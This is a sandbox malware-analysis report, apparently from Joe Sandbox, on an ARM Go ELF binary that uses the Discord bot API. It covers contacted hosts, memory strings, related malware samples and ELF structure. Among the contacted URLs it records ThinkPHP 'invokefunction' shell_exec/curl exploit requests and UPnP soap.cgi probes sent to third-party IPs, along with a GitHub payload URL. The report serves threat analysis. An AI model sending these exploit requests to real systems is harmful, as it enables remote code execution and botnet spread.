Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.137.232	true	false		high
gateway.discord.gg	162.159.133.234	true	false		high

Contacted URLs

Name	Malicious	Reputation
https://discord.com/api/v9/gateway	false	high
http://141.147.101.109:49152/soap.cgi?service=WANIPConn1	true	unknown
http://24.173.115.100/public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20cd	false	unknown
http://194.67.20.130:49152/soap.cgi?service=WANIPConn1	true	unknown
https://gateway.discord.gg/?v=9&encoding=json	false	high
http://143.43.177.146/public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20cd	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://discord.com/api/v9/oauth2/applications	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://143.43.177.146/public/index.php?::1	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://143.43.177.146/public/index.php?	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://cdn.discordapp.com/icons/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://crl.securetrust.com/SGCA.crl	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://crl.certigna.fr/certignarootca.crlhttp://crl.dhimyotis.com/certignarootca.crlX	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://cdn.discordapp.com/banners/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://24.173.115.100141.147.101.109:49152	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://crl.dhimyotis.com/certignarootca.crl0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://galassiahttp://24.173.tcpdiscord.com127.0.0.53:53notfound=return/etc/hosts/etc/hosts127.0.0.1	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://143.43.177.146	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://www.firmaprofesional.com/cps0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://cdn.discordapp.com/guilds/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://repository.swisssign.com/0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://discord.com/api/v9/oauth2/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://discord.com/api/v9/gateway/bot	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://ocsp.quovadisoffshore.com	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://crl.certigna.fr/certignarootca.crlhttp://crl.dhimyotis.com/certignarootca.crl/etc/ssl/certs/C	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://discord.com/api/v9/guilds/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://cdn.discordapp.com/AUTO_MODERATION_RULE_CREATEAUTO_MODERATION_RULE_DELETEAUTO_MODERATION_RUL	arm.elf	false		high
https://cdn.discordapp.com/splashes/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://143.43.177.146194.67.20.130:49152ter	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://24.173.115.100/public/index.php?	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
https://discord.com/MESSAGE_REACTION_ADDTHREAD_MEMBER_UPDATEunmarshall	arm.elf	false		high
http://www.quovadisglobal.com/cps0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://github.com/20Matrix77/2FTS3/raw/main/disbot;	arm.elf	false		high
https://discord.com/api/v9/users/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://status.discord.com/api/v2/scheduled-maintenances/	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://cdn.discordapp.com/attachments/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://status.discord.com/api/v2/scheduled-maintenances/active.json	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://24.173.115.100/public/index.php?s=/Index/	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
https://discord.com/api/v9/guilds	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://143.43.177.146/public/index.php?s=/Index/	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
https://discord.com/api/v9/stickers/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://discord.com/api/v9/webhooks/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://24.173.115.100/public/index.php?public	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://crl.dhimyotis.com/certignarootca.crl	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crlX	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://ocsp.accv.es	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://discord.com/api/v9/stage-instances	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://ocsp.quovadisoffshore.com0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://141.147.101.109:49152/soap.cgi?service=WANIPConn1H	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
https://discord.com/api/v9/09Az~~/etc/ssl/certs/a3418fda.0/etc/ssl/certs/a3418fda.0/etc/ssl/certs/a9	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://policy.camerfirma.com0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
https://discord.com/api/v9//voice/regions	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://24.173.	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://crl.certigna.fr/certignarootca.crl	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://discord.com/api/v9//voice/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://status.discord.com/api/v2/scheduled-maintenances/upcoming.json	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://www.accv.es/legislacion_c.htm0U	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://ocsp.accv.es0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0B1	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://discord.com/api/v9/applications	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://discord.com/developers/docs/reference#authentication-example-bot-token-authorization-headerh	arm.elf	false		high
https://discord.com/api/v9/channels/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://24.173.115.100	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://crl.xrampsecurity.com/XGCA.crl/etc/ssl/certs/ca-certificates.crt/etc/ssl/certs/ca-certificate	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://www.catcert.net/verarrel	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://crl.securetrust.com/STCA.crl	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://cdn.discordapp.com/channel-icons/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://github.com/bwmarrin/discordgo	arm.elf	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://cdn.discordapp.com/role-icons/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://discord.com/api/v9/	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://194.67.20.130:49152/soap.cgi?service=WANIPConn1H	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://crl.xrampsecurity.com/XGCA.crl0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0H1	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://www.catcert.net/verarrel05	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
http://crl.certigna.fr/certignarootca.crl01	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://www.quovadis.bm0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		unknown
https://status.discord.com/api/v2/scheduled-maintenances/active.jsonhttps://status.discord.com/api/v	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp, arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://www.accv.es00	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
https://cdn.discordapp.com/avatars/	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://discord.com/api/v9/guilds/https://discord.com/api/v9/channels/https://discord.com/api/v9/use	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
https://discord.com/api/v9//sticker-packs	arm.elf, 6210.1.00007f6a4081b000.00007f6a40856000.rw-.sdmp	false		high
http://www.cert.fnmt.es/dpcs/0	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0;1	arm.elf, 6210.1.00007f6a4086f000.00007f6a4100f000.rw-.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.137.232	discord.com	United States	13335	CLOUDFLARENETUS	false
24.173.115.100	unknown	United States	33363	BHN-33363US	false
162.159.133.234	gateway.discord.gg	United States	13335	CLOUDFLARENETUS	false
194.67.20.130	unknown	Russian Federation	3216	SOVAM-ASRU	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
143.43.177.146	unknown	United States	22887	WIU-ASUS	false
141.147.101.109	unknown	Sweden	792	ORACLE-ASNBLOCK-ASNUS	true
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.137.232	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse
	phost.exe	Get hash	malicious	Blank Grabber	Browse
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse
	program.exe	Get hash	malicious	Blank Grabber	Browse
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse
	Xyq6rvzLJs.exe	Get hash	malicious	SilverRat	Browse
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
162.159.133.234	skyljne.mpsl.elf	Get hash	malicious	Mirai	Browse	/goform/set_LimitClient_cfg
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	webhook.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	zapret.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse	162.159.137.232
	chos.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	phost.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	ihost.exe	Get hash	malicious	Python Stealer, Muck Stealer	Browse	162.159.136.232
	shost.exe	Get hash	malicious	Python Stealer, Muck Stealer	Browse	162.159.136.232
	sppawx.exe	Get hash	malicious	Blank Grabber	Browse	162.159.135.232
	ahost.exe	Get hash	malicious	Blank Grabber	Browse	162.159.135.232
	wsapx.exe	Get hash	malicious	Blank Grabber	Browse	162.159.136.232
gateway.discord.gg	Client-built.exe	Get hash	malicious	Discord Rat	Browse	162.159.135.234
	Client-built.exe	Get hash	malicious	Discord Rat	Browse	162.159.135.234
	datXObAAn1.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	EeXJoO1J62.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	gcrY4QgzW9.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	datXObAAn1.exe	Get hash	malicious	Discord Rat	Browse	162.159.135.234
	XZaysgiUfm.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	EeXJoO1J62.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	gcrY4QgzW9.exe	Get hash	malicious	Discord Rat	Browse	162.159.135.234
	XZaysgiUfm.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://iwr.soundestlink.com/ce/c/676002d8893d08b60d0548a9/67600e317a8dc234ff2c418f/67600e4e1033e9cdafe04236?signature=d71ee5ef2af4c3905acd300a8f3b595d0164d440b8def5e7254a839fa6b579a9	Get hash	malicious	Unknown	Browse	172.64.145.78
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://business.livechathelpsuite.com	Get hash	malicious	Unknown	Browse	172.67.163.209
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	172.67.177.134
	https://eu.onamoc.comano.us/XaFJNdmNsY0JUVzZrd09aZnpEZk9LNXJHSFV1RTlrbFdPMXQ5dzRKTHV4dEdpUEhTM1I1MCszdjdWWm54V01kSEhOSlpOSFpjMUlsaFNTc0l3eXhVeWl3TGVjWm14bGMxUFkzWWFkVUQvbUlNMGEza0pnOFFCK3N4TDBlc3RyYWJkSE9xVU9ETG5TU1lHQkZwdStVdXhGMzdoQzltdFAwRnc0WTJuMmF3Q1VkTzdMb0lwNXhqOFQ3eGRtK0ZuQUpydjMxSWdnPT0tLUFPWFdqaFhtRnVKaEhNK20tLUlJNFZwQjNETFQyTk1iL0UxMUxBTGc9PQ==?cid=300477933	Get hash	malicious	KnowBe4	Browse	104.17.249.203
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
CLOUDFLARENETUS	https://iwr.soundestlink.com/ce/c/676002d8893d08b60d0548a9/67600e317a8dc234ff2c418f/67600e4e1033e9cdafe04236?signature=d71ee5ef2af4c3905acd300a8f3b595d0164d440b8def5e7254a839fa6b579a9	Get hash	malicious	Unknown	Browse	172.64.145.78
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://business.livechathelpsuite.com	Get hash	malicious	Unknown	Browse	172.67.163.209
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	172.67.177.134
	https://eu.onamoc.comano.us/XaFJNdmNsY0JUVzZrd09aZnpEZk9LNXJHSFV1RTlrbFdPMXQ5dzRKTHV4dEdpUEhTM1I1MCszdjdWWm54V01kSEhOSlpOSFpjMUlsaFNTc0l3eXhVeWl3TGVjWm14bGMxUFkzWWFkVUQvbUlNMGEza0pnOFFCK3N4TDBlc3RyYWJkSE9xVU9ETG5TU1lHQkZwdStVdXhGMzdoQzltdFAwRnc0WTJuMmF3Q1VkTzdMb0lwNXhqOFQ3eGRtK0ZuQUpydjMxSWdnPT0tLUFPWFdqaFhtRnVKaEhNK20tLUlJNFZwQjNETFQyTk1iL0UxMUxBTGc9PQ==?cid=300477933	Get hash	malicious	KnowBe4	Browse	104.17.249.203
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
BHN-33363US	i486.elf	Get hash	malicious	Mirai	Browse	142.197.97.128
	ppc.elf	Get hash	malicious	Mirai	Browse	24.73.129.59
	arm7.elf	Get hash	malicious	Unknown	Browse	97.97.207.141
	sparc.elf	Get hash	malicious	Unknown	Browse	184.92.5.80
	spc.elf	Get hash	malicious	Unknown	Browse	72.189.217.136
	bot.m68k.elf	Get hash	malicious	Mirai	Browse	71.46.110.185
	armv4l.elf	Get hash	malicious	Unknown	Browse	65.33.112.153
	IGz.m68k.elf	Get hash	malicious	Mirai	Browse	97.106.23.205
	rebirth.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	107.144.139.70
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	65.34.117.165
SOVAM-ASRU	i686.elf	Get hash	malicious	Mirai	Browse	62.141.74.249
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	212.46.243.17
	rebirth.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	81.211.20.63
	jade.sh4.elf	Get hash	malicious	Mirai	Browse	95.25.159.107
	jade.mips.elf	Get hash	malicious	Mirai	Browse	95.25.159.142
	jade.spc.elf	Get hash	malicious	Mirai	Browse	95.25.159.118
	Mozi.m.elf	Get hash	malicious	Mirai	Browse	195.218.238.79
	https://wdurl.ru/4mA#yml4dckta8ps5sz	Get hash	malicious	Unknown	Browse	195.46.162.50
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	128.71.134.187
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	81.211.81.17

File type:	ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=OvwSv585kqayqTBTNB8y/sx7kAA8bI5qEvCUGUWuM/X-LbKDJ3VqPrXnAmVn5a/bxmT6WOGutOZtSvXP8xF, with debug_info, not stripped
Entropy (8bit):	6.757794641310855
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.elf
File size:	8'272'568 bytes
MD5:	dbeac82331d523c5dbcded7503ec7885
SHA1:	3fa0e58bae109c4e30e2be7cd8cde401d459d592
SHA256:	13f87ac86969baf044e1b178a0d09ab8399665518cd445c227aa24383c89e763
SHA512:	95442f94bc9be14ed9aa4bb143d57726a9e08de9c657d6da22fa074dcb424deaf8a3bc8f6fca8eac1ddef7cd0aae360933ab87caab4eac76dd6f564afe3d9217
SSDEEP:	98304:ZEMzKQWKiAydzzjUAnbHdcRvPWMFwTUFgD5m8GJw4fl/tH0:ZDszzjUAbHdcpPO4FcNalF0
TLSH:	8C867D97B8814986C5E43677B8BE81D433A34EB99B9B13675D04FE3C3ABE1990E34314
File Content Preview:	.ELF..............(......X..4...........4. ...(.........4...4...4...................................d...d.............................................../...0...0..,&..,&...............V...W...W.Pc..............Q.td.......................................

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x858c8
Flags:	0x5000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	6
Section Header Offset:	244
Section Header Size:	40
Number of Section Headers:	23
Header String Table Index:	3

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.text	PROGBITS	0x11000	0x1000	0x2e1aa4	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x300000	0x2f0000	0xeb18b	0x0	0x2	A	0	0	8
.shstrtab	STRTAB	0x0	0x3db190	0x107	0x0	0x0		0	0	1
.typelink	PROGBITS	0x3eb298	0x3db298	0x1fb0	0x0	0x2	A	0	0	8
.itablink	PROGBITS	0x3ed248	0x3dd248	0x6ec	0x0	0x2	A	0	0	8
.gosymtab	PROGBITS	0x3ed934	0x3dd934	0x0	0x0	0x2	A	0	0	1
.gopclntab	PROGBITS	0x3ed938	0x3dd938	0x1753bc	0x0	0x2	A	0	0	8
.go.buildinfo	PROGBITS	0x570000	0x560000	0x1f0	0x0	0x3	WA	0	0	16
.noptrdata	PROGBITS	0x5701f0	0x5601f0	0x2fb72	0x0	0x3	WA	0	0	8
.data	PROGBITS	0x59fd68	0x58fd68	0x65e8	0x0	0x3	WA	0	0	8
.bss	NOBITS	0x5a6350	0x596350	0x11c40	0x0	0x3	WA	0	0	8
.noptrbss	NOBITS	0x5b7f90	0x5a7f90	0x8768	0x0	0x3	WA	0	0	8
.debug_abbrev	PROGBITS	0x0	0x5a0000	0x129	0x0	0x800		0	0	4
.debug_line	PROGBITS	0x0	0x5a0129	0x6972f	0x0	0x800		0	0	4
.debug_frame	PROGBITS	0x0	0x609858	0x124d2	0x0	0x800		0	0	4
.debug_gdb_scripts	PROGBITS	0x0	0x61bd2a	0x30	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x61bd5a	0xd1273	0x0	0x800		0	0	4
.debug_loc	PROGBITS	0x0	0x6ecfcd	0x97ce6	0x0	0x800		0	0	4
.debug_ranges	PROGBITS	0x0	0x784cb3	0x2a221	0x0	0x800		0	0	4
.note.go.buildid	NOTE	0x10f9c	0xf9c	0x64	0x0	0x2	A	0	0	4
.symtab	SYMTAB	0x0	0x7aeed4	0x20390	0x10	0x0		22	123	4
.strtab	STRTAB	0x0	0x7cf264	0x44b64	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
PHDR	0x34	0x10034	0x10034	0xc0	0xc0	2.3421	0x4	R	0x10000
NOTE	0xf9c	0x10f9c	0x10f9c	0x64	0x64	5.2057	0x4	R	0x4	.note.go.buildid
LOAD	0x0	0x10000	0x10000	0x2e2aa4	0x2e2aa4	5.7512	0x5	R E	0x10000	.text .note.go.buildid
LOAD	0x2f0000	0x300000	0x300000	0x262cf4	0x262cf4	5.6484	0x4	R	0x10000	.rodata .typelink .itablink .gosymtab .gopclntab
LOAD	0x560000	0x570000	0x570000	0x36350	0x506f8	5.8550	0x6	RW	0x10000	.go.buildinfo .noptrdata .data .bss .noptrbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Symbols

Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
.symtab	0x17cd18	256	FUNC	<unknown>	DEFAULT	1
.symtab	0x17ce18	256	FUNC	<unknown>	DEFAULT	1
.symtab	0x17cf18	128	FUNC	<unknown>	DEFAULT	1
.symtab	0x17cf98	244	FUNC	<unknown>	DEFAULT	1
.symtab	0x17d08c	884	FUNC	<unknown>	DEFAULT	1
.symtab	0x17d400	1252	FUNC	<unknown>	DEFAULT	1
.symtab	0x17d8e4	256	FUNC	<unknown>	DEFAULT	1
.symtab	0x17d9e4	696	FUNC	<unknown>	DEFAULT	1
.symtab	0x17dc9c	820	FUNC	<unknown>	DEFAULT	1
.symtab	0x17dfd0	384	FUNC	<unknown>	DEFAULT	1
.symtab	0x17e150	276	FUNC	<unknown>	DEFAULT	1
.symtab	0x17e264	820	FUNC	<unknown>	DEFAULT	1
.symtab	0x17e598	332	FUNC	<unknown>	DEFAULT	1
.symtab	0x17e6e4	460	FUNC	<unknown>	DEFAULT	1
.symtab	0x17e8b0	628	FUNC	<unknown>	DEFAULT	1
.symtab	0x17eb24	632	FUNC	<unknown>	DEFAULT	1
.symtab	0x17ed9c	676	FUNC	<unknown>	DEFAULT	1
.symtab	0x17f040	1144	FUNC	<unknown>	DEFAULT	1
.symtab	0x17f4b8	1172	FUNC	<unknown>	DEFAULT	1
.symtab	0x17f94c	1056	FUNC	<unknown>	DEFAULT	1
.symtab	0x17fd6c	236	FUNC	<unknown>	DEFAULT	1
.symtab	0x17fe58	216	FUNC	<unknown>	DEFAULT	1
.symtab	0x17ff30	104	FUNC	<unknown>	DEFAULT	1
.symtab	0x17ff98	160	FUNC	<unknown>	DEFAULT	1
.symtab	0x180038	188	FUNC	<unknown>	DEFAULT	1
.symtab	0x1800f4	384	FUNC	<unknown>	DEFAULT	1
.symtab	0x180274	212	FUNC	<unknown>	DEFAULT	1
.symtab	0x180348	392	FUNC	<unknown>	DEFAULT	1
.symtab	0x1804d0	1356	FUNC	<unknown>	DEFAULT	1
.symtab	0x180a1c	688	FUNC	<unknown>	DEFAULT	1
.symtab	0x180ccc	1124	FUNC	<unknown>	DEFAULT	1
.symtab	0x181130	212	FUNC	<unknown>	DEFAULT	1
.symtab	0x181204	112	FUNC	<unknown>	DEFAULT	1
.symtab	0x181274	204	FUNC	<unknown>	DEFAULT	1
.symtab	0x181340	196	FUNC	<unknown>	DEFAULT	1
.symtab	0x181404	160	FUNC	<unknown>	DEFAULT	1
.symtab	0x1814a4	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x18159c	232	FUNC	<unknown>	DEFAULT	1
.symtab	0x181684	216	FUNC	<unknown>	DEFAULT	1
.symtab	0x18175c	624	FUNC	<unknown>	DEFAULT	1
.symtab	0x1819cc	620	FUNC	<unknown>	DEFAULT	1
.symtab	0x181c38	372	FUNC	<unknown>	DEFAULT	1
.symtab	0x181dac	356	FUNC	<unknown>	DEFAULT	1
.symtab	0x181f10	204	FUNC	<unknown>	DEFAULT	1
.symtab	0x181fdc	648	FUNC	<unknown>	DEFAULT	1
.symtab	0x182264	180	FUNC	<unknown>	DEFAULT	1
.symtab	0x182318	184	FUNC	<unknown>	DEFAULT	1
.symtab	0x1823d0	228	FUNC	<unknown>	DEFAULT	1
.symtab	0x1824b4	348	FUNC	<unknown>	DEFAULT	1
.symtab	0x182610	304	FUNC	<unknown>	DEFAULT	1
.symtab	0x182740	1444	FUNC	<unknown>	DEFAULT	1
